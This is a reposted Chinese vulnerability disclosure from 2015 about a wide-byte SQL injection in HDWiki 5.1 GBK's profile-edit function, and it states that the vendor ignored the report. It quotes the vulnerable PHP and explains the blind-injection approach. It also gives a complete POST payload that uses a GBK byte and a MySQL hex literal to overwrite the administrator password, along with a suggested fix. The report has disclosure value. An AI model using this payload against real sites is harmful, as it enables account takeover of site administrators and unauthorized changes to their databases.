HDWIKI最新版Update注入可修改管理员密码(MYSQL进制技巧)

漏洞 作者:Chloe O_o
2015-06-03 2,170
漏洞标题 HDWIKI最新版Update注入可修改管理员密码(MYSQL进制技巧)
相关厂商 互动在线(北京)科技有限公司
漏洞作者 小飞
提交时间 2015-02-27 22:45
公开时间 2015-06-02 22:47
漏洞类型 SQL注射漏洞
危害等级
自评Rank 20
漏洞状态 漏洞已经通知厂商但是厂商忽略漏洞
Tags标签 php源码审核,sql注射漏洞利用技巧

漏洞详情

问题出在\hdwiki\control\user.php下

最新版HDWIKI 5.1 GBK版本

HDWIKI全局过滤,但是面对宽字节注入,就容易出问题了

function doeditprofile(){
		if(isset($this->post['submit'])){
			$gender = intval($this->post['gender']);
			$birthday = strtotime($this->post['birthday']);
			$location = $this->post['location'];
			$signature = $this->post['signature'];
			if (WIKI_CHARSET == 'GBK'){
				$location = string::hiconv($location);
				$signature = string::hiconv($signature);
			}
			$location = htmlspecialchars($location);
			$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));
			
			$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);
		}else{
			if(0 == $this->user['birthday']){
				$birthday = '';
			}else{
				$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];
				$birthday = date('Y-m-d',$birthday);
			}

			$this->view->assign('birthday',$birthday);
			//$this->view->display('editprofile');
			$_ENV['block']->view('editprofile');
		}
	}

关键代码是

$location = string::hiconv($location);
				$signature = string::hiconv($signature);
			}
			$location = htmlspecialchars($location);
			$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

HDWIKI在大部分编码转换之后的地方都会addslashes

这里我们跟进这个函数set_profile()

function set_profile($gender,$birthday,$location,$signature,$uid){
		$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");

进入mysql前并没有进行addslashes

而且我们有$location,$signature

思路是让location引入\注释后面的单引号 由signature来注入

由于没有开display_error ,我们延时看看

dsa.png

我们就能盲注查询管理员密码

但是有时候密码是破不出来的,怎么办呢

我们其实可以替换管理员密码

先说说HDWKI的表构造

由于管理员和普通的账号都存储在wiki_user下,所以这里由于是update的是这个表

但是问题来了

我们引入password的时候 格式一般都是

password='b5ebc89058e80ef0189090a0390109e4'

但是这里是无法引入单引号的(会被addslashes),而不打单引号又会被当成表名,不被识别为value。

这里用要一个小技巧

MYSQL对十六进制是能够自动识别 转换的。

比如

wadasd.png

这样我们就能绕过单引号而update管理员密码了

我们先本地用脚本转换ascii为hex

<?php 
echo bin2hex($_GET[a]);
?>

然后向http://localhost/hdwiki/index.php?user-editprofile

post

gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=, password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true

成功修改密码

yes.png

漏洞证明:

我们延时看看

dsa.png

成功修改密码

yes.png

修复方案:

set_profile函数里 查询前先addslashes

版权声明:转载请注明来源 小飞@乌云

Tags:

评论  (0)
快来写下你的想法吧!

Chloe O_o

文章数:38565 积分: 0

关注我们

合作伙伴